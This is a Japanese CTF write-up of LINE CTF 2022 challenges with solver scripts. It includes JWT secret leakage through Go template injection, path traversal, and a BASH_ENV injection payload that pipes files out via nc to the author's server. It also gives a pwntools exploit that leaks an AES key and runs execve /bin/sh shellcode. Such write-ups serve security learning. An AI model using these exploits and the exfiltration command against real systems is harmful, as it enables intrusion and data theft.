9問解いて20位。
Welcome (misc)
Welcome to LINECTF 2022!
Flag is
LINECTF{welcome_to_LINECTF2022}
LINECTF{welcome_to_LINECTF2022}
ecrypt (pwn, misc)
kernel pwn問題が初めて解けた!!!
$ nc 34.85.38.218 10002
/ $ su
su
/ # cat /flag
cat /flag
LINECTF{WOW!_powerful_kernel_oor_oow}
はい。
kernel問なのに、warmupよりも正解チーム数が多い。「ioctl
か何かを叩くだけで解けるなんちゃってkernel問なのかな?」と思って見てみたけれど、きっちりkernelで任意コードを実行をしないといけないように見える。
とりあえず、問題のドライバを叩いてみるか。そのためのプログラムを書き……。あ、libcあるのかな? 適当なバイナリにldd
を掛けてみるか。
/ $ ldd /bin/cat
/bin/cat: is setuid
なぜcat
にsuid? BusyBoxを使っていて、/bin/busyboxのsuidビットが立っていた。「それなら? cat /flag
で良いのでは?」と思ったけれど、それはダメ。BusyBox内に権限を落とす処理があるらしい。でも、su
はいけた。
「ecrypt (fixed)」ではbusyboxのsuidが落とされていた。
ss-puzzle (crypto)
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# 64 bytes
FLAG = b'LINECTF{...}'
def xor(a:bytes, b:bytes) -> bytes:
return bytes(i^j for i, j in zip(a, b))
S = [None]*4
R = [None]*4
Share = [None]*5
S[0] = FLAG[0:8]
S[1] = FLAG[8:16]
S[2] = FLAG[16:24]
S[3] = FLAG[24:32]
# Ideally, R should be random stream. (Not hint)
R[0] = FLAG[32:40]
R[1] = FLAG[40:48]
R[2] = FLAG[48:56]
R[3] = FLAG[56:64]
Share[0] = R[0] + xor(R[1], S[3]) + xor(R[2], S[2]) + xor(R[3],S[1])
Share[1] = xor(R[0], S[0]) + R[1] + xor(R[2], S[3]) + xor(R[3],S[2])
Share[2] = xor(R[0], S[1]) + xor(R[1], S[0]) + R[2] + xor(R[3],S[3])
Share[3] = xor(R[0], S[2]) + xor(R[1], S[1]) + xor(R[2], S[0]) + R[3]
Share[4] = xor(R[0], S[3]) + xor(R[1], S[2]) + xor(R[2], S[1]) + xor(R[3],S[0])
# This share is partially broken.
Share[1] = Share[1][0:8] + b'\x00'*8 + Share[1][16:24] + Share[1][24:32]
with open('./Share1', 'wb') as f:
f.write(Share[1])
f.close()
with open('./Share4', 'wb') as f:
f.write(Share[4])
f.close()
フラグで色々とxorを取って、一部が潰されている。
先頭8バイトがLINECTF{
ということは分かっているので、そこから順番に計算していくだけ。こっちがwarmupでは?
Share1 = open("Share1", "rb").read()
Share4 = open("Share4", "rb").read()
def xor(a, b):
return bytes(x^y for x, y in zip(a, b))
S0 = b"LINECTF{"
R0 = xor(Share1[ 0: 8], S0)
R3 = xor(Share4[24:32], S0)
S3 = xor(Share4[ 0: 8], R0)
S2 = xor(Share1[24:32], R3)
R2 = xor(Share1[16:24], S3)
R1 = xor(Share4[ 8:16], S2)
S1 = xor(Share4[16:24], R2)
FLAG = S0+S1+S2+S3+R0+R1+R2+R3
print(FLAG.decode())
$ python3 solve.py
LINECTF{Yeah_known_plaintext_is_important_in_xor_based_puzzle!!}
LINECTF{Yeah_known_plaintext_is_important_in_xor_based_puzzle!!}
X Factor (crypto, warmup)
I have generated a RSA-1024 key pair:
* public key exponent: 0x10001
* public key modulus: 0xa9e7da28ebecf1f88efe012b8502122d70b167bdcfa11fd24429c23f27f55ee2cc3dcd7f337d0e630985152e114830423bfaf83f4f15d2d05826bf511c343c1b13bef744ff2232fb91416484be4e130a007a9b432225c5ead5a1faf02fa1b1b53d1adc6e62236c798f76695bb59f737d2701fe42f1fbf57385c29de12e79c5b3
Here are some known plain -> signature pairs I generated using my private key:
* 0x945d86b04b2e7c7 -> 0x17bb21949d5a0f590c6126e26dc830b51d52b8d0eb4f2b69494a9f9a637edb1061bec153f0c1d9dd55b1ad0fd4d58c46e2df51d293cdaaf1f74d5eb2f230568304eebb327e30879163790f3f860ca2da53ee0c60c5e1b2c3964dbcf194c27697a830a88d53b6e0ae29c616e4f9826ec91f7d390fb42409593e1815dbe48f7ed4
* 0x5de2 -> 0x3ea73715787028b52796061fb887a7d36fb1ba1f9734e9fd6cb6188e087da5bfc26c4bfe1b4f0cbfa0d693d4ac0494efa58888e8415964c124f7ef293a8ee2bc403cad6e9a201cdd442c102b30009a3b63fa61cdd7b31ce9da03507901b49a654e4bb2b03979aea0fab3731d4e564c3c30c75aa1d079594723b60248d9bdde50
* 0xa16b201cdd42ad70da249 -> 0x9444e3fc71056d25489e5ce78c6c986c029f12b61f4f4b5cbd4a0ce6b999919d12c8872b8f2a8a7e91bd0f263a4ead8f2aa4f7e9fdb9096c2ea11f693f6aa73d6b9d5e351617d6f95849f9c73edabd6a6fde6cc2e4559e67b0e4a2ea8d6897b32675be6fc72a6172fd42a8a8e96adfc2b899015b73ff80d09c35909be0a6e13a
* 0x6d993121ed46b -> 0x2b7a1c4a1a9e9f9179ab7b05dd9e0089695f895864b52c73bfbc37af3008e5c187518b56b9e819cc2f9dfdffdfb86b7cc44222b66d3ea49db72c72eb50377c8e6eb6f6cbf62efab760e4a697cbfdcdc47d1adc183cc790d2e86490da0705717e5908ad1af85c58c9429e15ea7c83ccf7d86048571d50bd721e5b3a0912bed7c
* 0x726fa7a7 -> 0xa7d5548d5e4339176a54ae1b3832d328e7c512be5252dabd05afa28cd92c7932b7d1c582dc26a0ce4f06b1e96814ee362ed475ddaf30dd37af0022441b36f08ec8c7c4135d6174167a43fa34f587abf806a4820e4f74708624518044f272e3e1215404e65b0219d42a706e5c295b9bf0ee8b7b7f9b6a75d76be64cf7c27dfaeb
* 0x31e828d97a0874cff -> 0x67832c41a913bcc79631780088784e46402a0a0820826e648d84f9cc14ac99f7d8c10cf48a6774388daabcc0546d4e1e8e345ee7fc60b249d95d953ad4d923ca3ac96492ba71c9085d40753cab256948d61aeee96e0fe6c9a0134b807734a32f26430b325df7b6c9f8ba445e7152c2bf86b4dfd4293a53a8d6f003bf8cf5dffd
* 0x904a515 -> 0x927a6ecd74bb7c7829741d290bc4a1fd844fa384ae3503b487ed51dbf9f79308bb11238f2ac389f8290e5bcebb0a4b9e09eda084f27add7b1995eeda57eb043deee72bfef97c3f90171b7b91785c2629ac9c31cbdcb25d081b8a1abc4d98c4a1fd9f074b583b5298b2b6cc38ca0832c2174c96f2c629afe74949d97918cbee4a
**What is the signature of 0x686178656c696f6e?**
Take the least significant 16 bytes of the signature, encode them in lowercase hexadecimal and format it as `LINECTF{sig_lowest_16_bytes_hex}` to obtain the flag.
E.g. the last signature from the list above would become `LINECTF{174c96f2c629afe74949d97918cbee4a}`.
RSAの平文と署名がいくつか与えられる。"haxelion"
の署名を求める。
RSAの署名とは、秘密鍵 $d$ での暗号化(復号?)である。RSAで平文 $a$ と $b$ の暗号結果が分かっていれば、$ab$ の暗号結果が得られる。$(ab)^d = a^db^d$。$n$ の素因数分解結果が分からなくても除算はできるので、$\frac{a}{b}$ も計算できる。
署名が与えられている平文を素因数分解して、素因数を使ってhaxelion
の署名を求めれば良い。行列の掃き出し法みたいなことが必要かと思ったけれど、良く見ると素因数分解した結果が対称的になっているので、手で計算できる。
e = 0x10001
n = 0xa9e7da28ebecf1f88efe012b8502122d70b167bdcfa11fd24429c23f27f55ee2cc3dcd7f337d0e630985152e114830423bfaf83f4f15d2d05826bf511c343c1b13bef744ff2232fb91416484be4e130a007a9b432225c5ead5a1faf02fa1b1b53d1adc6e62236c798f76695bb59f737d2701fe42f1fbf57385c29de12e79c5b3
PS = [
(0x945d86b04b2e7c7, 0x17bb21949d5a0f590c6126e26dc830b51d52b8d0eb4f2b69494a9f9a637edb1061bec153f0c1d9dd55b1ad0fd4d58c46e2df51d293cdaaf1f74d5eb2f230568304eebb327e30879163790f3f860ca2da53ee0c60c5e1b2c3964dbcf194c27697a830a88d53b6e0ae29c616e4f9826ec91f7d390fb42409593e1815dbe48f7ed4),
(0x5de2, 0x3ea73715787028b52796061fb887a7d36fb1ba1f9734e9fd6cb6188e087da5bfc26c4bfe1b4f0cbfa0d693d4ac0494efa58888e8415964c124f7ef293a8ee2bc403cad6e9a201cdd442c102b30009a3b63fa61cdd7b31ce9da03507901b49a654e4bb2b03979aea0fab3731d4e564c3c30c75aa1d079594723b60248d9bdde50),
(0xa16b201cdd42ad70da249, 0x9444e3fc71056d25489e5ce78c6c986c029f12b61f4f4b5cbd4a0ce6b999919d12c8872b8f2a8a7e91bd0f263a4ead8f2aa4f7e9fdb9096c2ea11f693f6aa73d6b9d5e351617d6f95849f9c73edabd6a6fde6cc2e4559e67b0e4a2ea8d6897b32675be6fc72a6172fd42a8a8e96adfc2b899015b73ff80d09c35909be0a6e13a),
(0x6d993121ed46b, 0x2b7a1c4a1a9e9f9179ab7b05dd9e0089695f895864b52c73bfbc37af3008e5c187518b56b9e819cc2f9dfdffdfb86b7cc44222b66d3ea49db72c72eb50377c8e6eb6f6cbf62efab760e4a697cbfdcdc47d1adc183cc790d2e86490da0705717e5908ad1af85c58c9429e15ea7c83ccf7d86048571d50bd721e5b3a0912bed7c),
(0x726fa7a7, 0xa7d5548d5e4339176a54ae1b3832d328e7c512be5252dabd05afa28cd92c7932b7d1c582dc26a0ce4f06b1e96814ee362ed475ddaf30dd37af0022441b36f08ec8c7c4135d6174167a43fa34f587abf806a4820e4f74708624518044f272e3e1215404e65b0219d42a706e5c295b9bf0ee8b7b7f9b6a75d76be64cf7c27dfaeb),
(0x31e828d97a0874cff, 0x67832c41a913bcc79631780088784e46402a0a0820826e648d84f9cc14ac99f7d8c10cf48a6774388daabcc0546d4e1e8e345ee7fc60b249d95d953ad4d923ca3ac96492ba71c9085d40753cab256948d61aeee96e0fe6c9a0134b807734a32f26430b325df7b6c9f8ba445e7152c2bf86b4dfd4293a53a8d6f003bf8cf5dffd),
(0x904a515, 0x927a6ecd74bb7c7829741d290bc4a1fd844fa384ae3503b487ed51dbf9f79308bb11238f2ac389f8290e5bcebb0a4b9e09eda084f27add7b1995eeda57eb043deee72bfef97c3f90171b7b91785c2629ac9c31cbdcb25d081b8a1abc4d98c4a1fd9f074b583b5298b2b6cc38ca0832c2174c96f2c629afe74949d97918cbee4a),
]
P, S = zip(*PS)
q = 0x686178656c696f6e
"""
0: 0x945d86b04b2e7c7 = 811 * 947**3 * 970111
1: 0x5de2 = 2 * 61 * 197
2: 0xa16b201cdd42ad70da249 = 970111 * 2098711**2 * 2854343
3: 0x6d993121ed46b = 947 * 970111 * 2098711
4: 0x726fa7a7 = 61 * 197**2 * 811
5: 0x31e828d97a0874cff = 2098711 * 2854343 * 9605087
6: 0x904a515 = 197 * 811 * 947
q: 0x686178656c696f6e = 2 * 197 * 947 * 2098711 * 9605087
"""
assert P[1]*P[5]*P[6]**2*P[3]**2//P[4]//P[2]//P[0]==q
f = S[1]*S[5]*S[6]**2*S[3]**2*pow(S[4]*S[2]*S[0],-1,n)%n
assert pow(f, e, n)==q
print("LINECTF{"+hex(f)[-32:]+"}")
$ python3 solve.py
LINECTF{a049347a7db8226d496eb55c15b1d840}
LINECTF{a049347a7db8226d496eb55c15b1d840}
gotm (web)
JWT。APIだけでフロントエンドが無くて面倒だ。is_admin=true
のユーザーとしてログインできれば、フラグが取得できる。
はいはい、{"alg": "none"}
にするやつね……と思ったけど違った。使っているgolang-jwtに対策が入っていて、"none"
が使えるのは、鍵がUnsafeAllowNoneSignatureType
("none signing method allowed"
)のときだけ。
JWTの鍵(secret_key
)を、なぜか各Account
のメンバ変数に持たせている。
:
id, _ := jwt_decode(token)
acc := get_account(id)
tpl, err := template.New("").Parse("Logged in as " + acc.id)
if err != nil {
}
tpl.Execute(w, &acc)
:
この部分が脆弱性。テンプレートにユーザー入力を渡してはいけない。例えば、IDをkusano{{.Hoge}}
のようにすれば、acc.Hoge
の内容が出力される。でも、secret_key
は小文字始まり(Goではフィールド名の先頭が小文字ならばprivate、大文字ならばpublicになる)だが……。{{.}}
にしたら出力された。tpl.Execute
はリフレクションを使って処理しているし、ならば可視性は関係無いのだろう。たぶん。
$ curl http://34.146.226.125/regist -d "id=kusano{{.}}&pw=QtSSUpPzhZwu"
{"status":true,"msg":""}
$ curl http://34.146.226.125/auth -d "id=kusano{{.}}&pw=QtSSUpPzhZwu"
{"status":true,"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6Imt1c2Fub3t7Ln19IiwiaXNfYWRtaW4iOmZhbHNlfQ.RvdAbM1fDHKYmMnYIMHx9w0o4wlvu2COi0XrI7XeYMI"}
$ curl http://34.146.226.125/ -H 'X-Token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6Imt1c2Fub3t7Ln19IiwiaXNfYWRtaW4iOmZhbHNlfQ.RvdAbM1fDHKYmMnYIMHx9w0o4wlvu2COi0XrI7XeYMI'
Logged in as kusano{kusano{{.}} QtSSUpPzhZwu false fasdf972u1031xu90zm10Av}
secret_key
はfasdf972u1031xu90zm10Av
。
でis_admin=true
なJWTを作って、送信。
$ curl http://34.146.226.125/flag -H 'X-Token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6Imt1c2Fub3t7Ln19IiwiaXNfYWRtaW4iOnRydWV9.5BemsDFk--Wnq8ehgwL6AmirY_earTy27w-ct4oIZAU'
{"status":true,"msg":"Hi kusano{{.}}, flag is LINECTF{country_roads_takes_me_home}"}
LINECTF{country_roads_takes_me_home}
Baby crypto revisited (crypto)
「問題をちょっと変えただけで使い回すのは止めろ。今回の問題でもそのまま解ける解答コードがインターネット上にあるだろ」と文句を言われていた。
サイドチャンネル攻撃でECDSAのnonceをリークしたけど、今回はリークできなかった部分が増えてしまって云々。これ、問題のストーリーだと思っていたけど、メタな話だったのか。昨年のLINE CTFで似た問題が出ていたらしい。……参加したはずだけど、全く思い当たらなかった。
これだ。リークできなかった部分を総当たりで解いていて、簡単だったから、記憶に残っていなかったようだ。
前回は伏せられている部分が16 bitだったのが、今回は64 bit。総当たりは無理。
楕円曲線は全て忘れて良くて、 $s_i=k_i^{-1}(z_i+r_id_A) \mod n$が成り立つ$s_i$、$k_i$、$z_i$、$r_i$が多数与えられて、$d_A$を求める問題になる。ただし、$k_i$の下位64 bitは潰されている。
$k_i$を$k_i+k'_i$ に置き換える。$k'_i$ は64 bitの整数。$d_A$ は不変なので、
d_A = (s_1(k_1+k'_1)-z_1)r_1^{-1} = (s_2(k_2+k'_2)-z_2)r_2^{-1} \mod n
変形して、
s_1r_2k'_1 - s_2r_1k'_2 + s_1k_1r_2-z_1r_2-s_2k_2r_1+z_2r_1 = 0 \mod n
これが成り立つような。64 bitの整数 $k'_1$ と $k'_2$ を求める。格子。法 $n$ は160 bitのところ、$k'_1$ と $k'_2$ は合わせて128 bitなので、式が1個あれば高い確率で一意に定まる。$k$ が求められれば $d_A$ も求められる。
# https://neuromancer.sk/std/secg/secp160r1
n = 0x0100000000000000000001f4c8f927aed3ca752257
r1 = 0xe6b7c5a62d08e0216e1e7ed7948c96b74c0be9cd
s1 = 0x49e1050393f885117de74e7a02d1091d67faa3d0
k1 = 0xff07bbee67c3ab910000000000000000
z1 = 0xe91f3200a87205d18a97bdf3bb3027c9f532c8a4
r2 = 0x7e7b86c8624c9b597131bb883053b1856527a5ff
s2 = 0x7787b9157fbbaf178ed091b23ce30b2e1ccf9abf
k2 = 0x882f44f29c56aea60000000000000000
z2 = 0x37c9f0d06570b0087430b9c66372e385839bb348
oo = 2^1024
M = [
[1, 0, 0, (s1*r2)*oo],
[0, 1, 0, (-s2*r1)*oo],
[0, 0, oo, (s1*k1*r2-z1*r2-s2*k2*r1+z2*r1)*oo],
[0, 0, 0, n*oo],
]
M = Matrix(M).LLL()
m = M[-1]
assert abs(m[2])==oo
assert abs(m[3])==0
kd1 = m[0]*(m[2]//oo)
d = (s1*(k1+kd1)-z1)*pow(r1, -1, n)
print(f"LINECTF{{{hex(d)}}}")
>docker run --rm -it -v "%CD%":/host sagemath/sagemath sage /host/solve.sage
LINECTF{0xd77d10fec685cbe16f64cba090db24d23b92f824}
LINECTF{0xd77d10fec685cbe16f64cba090db24d23b92f824}
Forward-or (crypto)
暗号文から平文を求める問題。もちろん何も手がかりが無ければ無理だが、平文の先頭がLINECTF{
であることは分かっている。
鍵key
は0123
の4種類の文字で構成される20文字の文字列。これをkey[:10]
とkey[10:]
に分けて、それぞれの鍵を使い、PRESENTというライブラリで二重に暗号化している。
$4^{20}$ の全探索はできないが、$4^{10}$ はできる。LINECTF{
を1回暗号化した結果と、問題の暗号文を復号した結果が一致すれば良い。半分全列挙。
ciphertext = bytes.fromhex("3201339d0fcffbd152f169ddcb8349647d8bc36a73abc4d981d3206f4b1d98468995b9b1c15dc0f0")
nonce = bytes.fromhex("32e10325")
import itertools
from present import Present
from main import CTRMode
print("stage 1")
M = {}
for k in itertools.product("0123", repeat=10):
k = "".join(k).encode()
c = Present(k, 16).encrypt(nonce+bytes(4))
M[c] = k
print("stage 2")
c = bytes(x^y for x, y in zip(b"LINECTF{", ciphertext[:8]))
for k in itertools.product("0123", repeat=10):
k = "".join(k).encode()
p = Present(k, 16).decrypt(c)
if p in M:
key = M[p]+k
break
print("key:", key)
#key = b"32013230202123003302"
print(CTRMode(key, nonce).decrypt(ciphertext).decode())
$ python3 solve.py
stage 1
stage 2
key: b'32013230202123003302'
LINECTF{|->TH3Y_m3t_UP_1n_th3_m1ddl3<-|}
それなりに実行時間が掛かり、鍵を手に入れられた後の処理のtypoなどで落ちると悲しいので、鍵を手に入れたらすぐに出力しておくと良い。その鍵を使って復号処理が書ける。
LINECTF{|->TH3Y_m3t_UP_1n_th3_m1ddl3<-|}
Memo Drive (web)
アクセスするIPアドレスごとにメモが保存できる。保存先は ./memo/${MD5(ip+'_'+SALT)}/
。フラグは./memo/flag
にある。メモへのアクセスは/view?${MD5(ip+'_'+SALT)}=${filename}
。
:
def view(request):
context = {}
try:
context['request'] = request
clientId = getClientID(request.client.host)
if '&' in request.url.query or '.' in request.url.query or '.' in unquote(request.query_params[clientId]):
raise
filename = request.query_params[clientId]
path = './memo/' + "".join(request.query_params.keys()) + '/' + filename
f = open(path, 'r')
contents = f.readlines()
f.close()
context['filename'] = filename
context['contents'] = contents
:
filename
でディレクトリトラバーサルをしたいが、.
を含められない。なら、=
の前の部分で……と思うけれど、ここはIPアドレスから計算される値でなければいけない。request.query_params[clientId]
で引く用と、ディレクトリトラバーサル用の2個を用意すれば良い……が、URLに&
を含められない。
使われているStarletteのソースコードを見ると、クエリパラメタはurllib.parse_qsl
でパースしている。
urllib.parse_qsl
を見ると、
バージョン 3.10 で変更: Added separator parameter with the default value of
&
. Python versions earlier than Python 3.10 allowed using both;
and&
as query parameter separator. This has been changed to allow only a single separator key, with&
as the default separator.
バージョン3.9までは&
の代わりに;
が通るらしい。えぇ……。
/view?aa012f45736dd26fa77748d960d5968d=flag;/%2E%2E/=
でフラグが出てくる。
LINECTF{The_old_bug_on_urllib_parse_qsl_fixed}
bb (web, misc, warmup)
<?php
error_reporting(0);
function bye($s, $ptn){
if(preg_match($ptn, $s)){
return false;
}
return true;
}
foreach($_GET["env"] as $k=>$v){
if(bye($k, "/=/i") && bye($v, "/[a-zA-Z]/i")) {
putenv("{$k}={$v}");
}
}
system("bash -c 'imdude'");
foreach($_GET["env"] as $k=>$v){
if(bye($k, "/=/i")) {
putenv("{$k}");
}
}
highlight_file(__FILE__);
?>
これだけ。シンプルな問題は好き。
あまり知られていない……かどうかは分からないが、PHPではenv[hoge]=fuga
というクエリパラメタが与えられると、%_GET["env"]
は["hoge" => "fuga"]
となる。これを使って環境変数を設定して、system("bash -c 'imdude'");
で悪さをしろという問題。ちなみに、imdude
というコマンドは存在しない。
bashは関数をexportすることができる。どうやっているかというと、BASH_FUNC_funcname%%
という環境変数に関数を文字列として設定し、bashの起動時に読み込む。Shellshockの対策として、環境変数名が難しくなった。
$ hoge() {
> echo fuga
> }
$ export -f hoge
$ bash -c hoge
fuga
$ env
:
BASH_FUNC_hoge%%=() { echo fuga
}
:
BASH_FUNC_imdude%%
を設定すれば終わりかと思ったが、環境変数名に記号が入っていると誰かに消される。どうするの……とググっていたら、今回問題と同じような問題があったらしく、中国語のwriteupが出てきた。
今の時代、英語だけではなく中国語も読めないといけないのか。まあ、機械翻訳でも意味は取れる。
なるほど、BASH_ENV
。/?env[BASH_ENV]=$(cat /* | nc my-server 1234)
とすれば良い。環境変数の値に英数字が使えないという制約があるので、$'...'
と8進数表記で回避。
$ $'\151\144' # id
uid=1000(kusano) gid=1000(kusano) ...
LINECTF{well..what_do_you_think_about}
trust code (pwn, warmup)
あと少しで解けなかった。悔しい。
warmup……? このコンテスト、warmupがおかしくない? 20人しか解けないwarmupとは。
シェルコードを秘密の鍵を使ってAES-128 CBCで復号して、実行してくれる。「trust」がどういうことかというと、復号結果の先頭に"TRUST_CODE_ONLY!"
が無ければいけない。暗号鍵が分からないので、そんなのは無理。
Ghidraで復号したソースコードはこんな感じ。
unsigned char secret_key[0x10];
unsigned char iv[0x10];
int loop_cont = 1;
int main()
{
launch();
}
void launch()
{
char key[0x10];
:
int fd = open("secret_key.txt", 0);
read(fd, key, 0x10);
close(fd);
memcpy(secret_key, key, 0x10);
service();
}
void service()
{
char v[0x10];
printf("iv> ");
read(STDIN_FILENO, v, 0x20);
memcpy(iv, v, 0x10);
loop();
}
void loop()
{
while (loop_cont!=0)
{
run();
}
}
void run()
{
Shellcode shellcode;
unsigned char *c = read_code();
memcpy(shellcode.code, c+0x10, 0x20);
execute(shellcode.code);
}
class Shellcode
{
unsigned char code[0x20];
~Shellcode()
{
printf("\n= Executed =\n");
write(STDOUT_FILENO, code, 0x20);
memset(code, 0, 0x20);
};
};
unsigned char *read_code()
{
unsigned char code[0x30];
printf("code> ");
memset(code, 0, 0x30);
read(STDIN_FILENO, code, 0x30);
return decrypt(code);
}
unsigned char *decrypt(unsigned char enc[0x30])
{
unsigned char *plain = new unsigned char[0x30];
AES_KEY key;
AES_set_decrypt_key(secret_key, 128, &key);
AES_cbc_encrypt(enc, plain, 0x30, &key, iv, 0);
if (strncmp(plain, "TRUST_CODE_ONLY!", 0x10)!=0) {
throw std::exception();
}
return plain;
}
void execute(unsigned char *code)
{
int res = invalid_check(code);
char buf[2];
if (res!=-1) {
unsigned char *tmp = create_rwx(code);
((void (*)())tmp)();
munmap(tmp, 0x1000);
}
printf("done?> ");
read(STDIN_FILENO, buf, 2);
if (buf[0]=='y' || buf[1]=='Y') {
loop_cont = 0;
}
}
void invalid_check(unsigned char code[0x20]) {
for (int i=0; i<0x20; i++)
if (code[i]==0x0f || code[i]==0x05)
return -1;
return 0;
}
void create_rwx(unsigned char code[0x20])
{
// rwxの領域を確保してcodeをコピー
}
service
にバッファオーバーフローの脆弱性がある。AES-128で、確保しているメモリは128 bitなのに、256 bit読み込める。しかし、カナリアのチェックがあるので、バッファオーバーフローでの攻撃はできない。
decrypt
が例外を投げるのがポイント。このとき、run
でShellcode
のデストラクタが呼びされる。たとえスタックが壊れいても。
そういえば、こういうコードがどうやって処理されるのか知らなかった。
struct C {
~C() {}
};
void h() {
throw 0;
}
int a;
void g() {
C c;
h();
a = 1;
}
void f() {
g();
}
int main()
{
try {f();}
catch (...) {}
}
単純にtry
でsetjmp
でもしているのかと思っていたけれど、それではダメで、g
でC
のデストラクタを呼ばないといけない。一方、a = 1
は実行されない。コンパイルして逆アセンブルしてみると、g
に通常のフロートは別にC::~C
を呼ぶ処理がある。でも、その処理のアドレスはどうやって知るの……?
ELFの.eh_frame
に書かれているらしい。readelf --debug-dump=frames
で確認ができる。へー。
$ readelf --debug-dump=frames trust_code
Contents of the .eh_frame section:
:
000001a4 000000000000001c 00000024 FDE cie=00000184 pc=0000000000001610..00000000000016ac
Augmentation data: c3 02 00 00
DW_CFA_advance_loc: 4 to 0000000000001614
DW_CFA_def_cfa_offset: 80
DW_CFA_advance_loc1: 112 to 0000000000001684
DW_CFA_def_cfa_offset: 8
DW_CFA_advance_loc: 1 to 0000000000001685
DW_CFA_def_cfa_offset: 80
DW_CFA_nop
:
0000000000001610 <run()>:
1610: 48 83 ec 48 sub rsp,0x48
1614: 64 48 8b 04 25 28 00 mov rax,QWORD PTR fs:0x28
161b: 00 00
161d: 48 89 44 24 40 mov QWORD PTR [rsp+0x40],rax
1622: e8 49 fd ff ff call 1370 <read_code()>
1627: 48 89 04 24 mov QWORD PTR [rsp],rax
162b: e9 00 00 00 00 jmp 1630 <run()+0x20>
1630: 48 8b 04 24 mov rax,QWORD PTR [rsp]
1634: 48 89 44 24 18 mov QWORD PTR [rsp+0x18],rax
1639: 48 8b 44 24 18 mov rax,QWORD PTR [rsp+0x18]
163e: 0f 10 40 10 movups xmm0,XMMWORD PTR [rax+0x10]
1642: 0f 10 48 20 movups xmm1,XMMWORD PTR [rax+0x20]
1646: 0f 29 4c 24 30 movaps XMMWORD PTR [rsp+0x30],xmm1
164b: 0f 29 44 24 20 movaps XMMWORD PTR [rsp+0x20],xmm0
1650: 48 8d 7c 24 20 lea rdi,[rsp+0x20]
1655: e8 f6 fe ff ff call 1550 <execute(unsigned char*)>
165a: e9 00 00 00 00 jmp 165f <run()+0x4f>
165f: 48 8d 7c 24 20 lea rdi,[rsp+0x20]
1664: e8 07 03 00 00 call 1970 <Shellcode::~Shellcode()>
1669: 64 48 8b 04 25 28 00 mov rax,QWORD PTR fs:0x28
1670: 00 00
1672: 48 8b 4c 24 40 mov rcx,QWORD PTR [rsp+0x40]
1677: 48 39 c8 cmp rax,rcx
167a: 0f 85 27 00 00 00 jne 16a7 <run()+0x97>
1680: 48 83 c4 48 add rsp,0x48
1684: c3 ret
1685: 48 89 c1 mov rcx,rax
1688: 89 d0 mov eax,edx
168a: 48 89 4c 24 10 mov QWORD PTR [rsp+0x10],rcx
168f: 89 44 24 0c mov DWORD PTR [rsp+0xc],eax
1693: 48 8d 7c 24 20 lea rdi,[rsp+0x20]
1698: e8 d3 02 00 00 call 1970 <Shellcode::~Shellcode()>
169d: 48 8b 7c 24 10 mov rdi,QWORD PTR [rsp+0x10]
16a2: e8 99 fa ff ff call 1140 <_Unwind_Resume@plt>
16a7: e8 24 fa ff ff call 10d0 <__stack_chk_fail@plt>
16ac: 0f 1f 40 00 nop DWORD PTR [rax+0x0]
例外が発生したときには、スタックのリターンアドレスからどこの関数から呼び出されたのかを把握し、.eh_frame
の情報からデストラクタ用の処理を呼んだり、スタックを巻き戻したりしているらしい。
service
のバッファオーバーフローで、本来はlaunch
を挿しているリターンアドレスを、run
を挿すように書き換えると、run
から呼び出されていると誤認し、run
のShellcode
のデストラクタを呼び出す処理がもう一度実行される。このとき、本来はshellcode
があるべきスタックの位置がちょうどkey
になっていて、secret_key.txtがリークする。
from pwn import *
import time
s = remote("35.190.227.47", 10009)
s.sendafter(b"iv> ", b"a"*0x18+bytes([0x5a, 0x16]))
s.sendafter(b"code> ", b"aaa")
time.sleep(1)
print(s.recv(0x100))
1/16の確率で0x16の1の部分が当たると、secret_key
が出てくる。
$ for i in $(seq 32); do python3 attack1.py; done
:
[*] Closed connection to 35.190.227.47 port 10009
[+] Opening connection to 35.190.227.47 on port 10009: Done
b'\n= Executed =\n\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\n= Executed =\n\x00\x1c\x01\x00\x00\x00\x00\x00y\x00\x00\x00\x00\x00\x00\x00v0nVadznhxnv$nph\nSorry for the inconvenience, there was a problem while decrypting code.\n'
[*] Closed connection to 35.190.227.47 port 10009
[+] Opening connection to 35.190.227.47 on port 10009: Done
secret_key
は"v0nVadznhxnv$nph"
。
後はシェルコードを送り込むだけ……と思いきや、invalid_check
が残っていた。0x05
と0x0f
が弾かれるので、syscall
(0f 05
)が使えない。とはいえ、書き込みもできる領域にシェルコードが置かれるので書き換えるだけ。そのようなシェルコードをコードゴルフ。呼び出し時にrax
がシェルコードを指していることを利用して、
call base
base:
pop rax
を削ったらいけた。
コードゴルフしないためのリトライ機能かと思ったけど、1回目と2回目でどうやって状態を持ち越せば良いのか分からん。
from pwn import *
from Crypto.Cipher import AES
context.arch = "amd64"
shell = asm("""
base:
/* rax = base */
add rax, 0x1c /* (syscall-base)だとなぜかdwordになる */
not word ptr [rax]
push SYS_execve
pop rax
mov rbx, 0x68732f6e69622f /* /bin/sh */
push rbx
mov rdi, rsp
xor esi, esi
xor edx, edx
syscall:
.byte (0xff^0x0f), (0xff^0x05)
""")
print(len(shell))
print(disasm(shell))
shell = b"TRUST_CODE_ONLY!"+shell
shell += b"\x00"*(0x30-len(shell))
key = b"v0nVadznhxnv$nph"
iv = bytes(16)
shell = AES.new(key=key, mode=AES.MODE_CBC, iv=iv).encrypt(shell)
s = remote("35.190.227.47", 10009)
#s = remote("localhost", 8888)
s.sendafter(b"iv> ", iv)
s.sendafter(b"code> ", shell)
s.interactive()
$ python3 attack2.py
30
0: 48 83 c0 1c add rax, 0x1c
4: 66 f7 10 not WORD PTR [rax]
7: 6a 3b push 0x3b
9: 58 pop rax
a: 48 bb 2f 62 69 6e 2f movabs rbx, 0x68732f6e69622f
11: 73 68 00
14: 53 push rbx
15: 48 89 e7 mov rdi, rsp
18: 31 f6 xor esi, esi
1a: 31 d2 xor edx, edx
1c: f0 fa lock cli
[+] Opening connection to 35.190.227.47 on port 10009: Done
[*] Switching to interactive mode
$ ls -al
total 68
dr-xr-xr-x 1 root trust_code 4096 Mar 23 17:46 .
drwxr-xr-x 1 root root 4096 Mar 23 16:37 ..
-r-xr-xr-x 1 root trust_code 220 Feb 25 2020 .bash_logout
-r-xr-xr-x 1 root trust_code 3771 Feb 25 2020 .bashrc
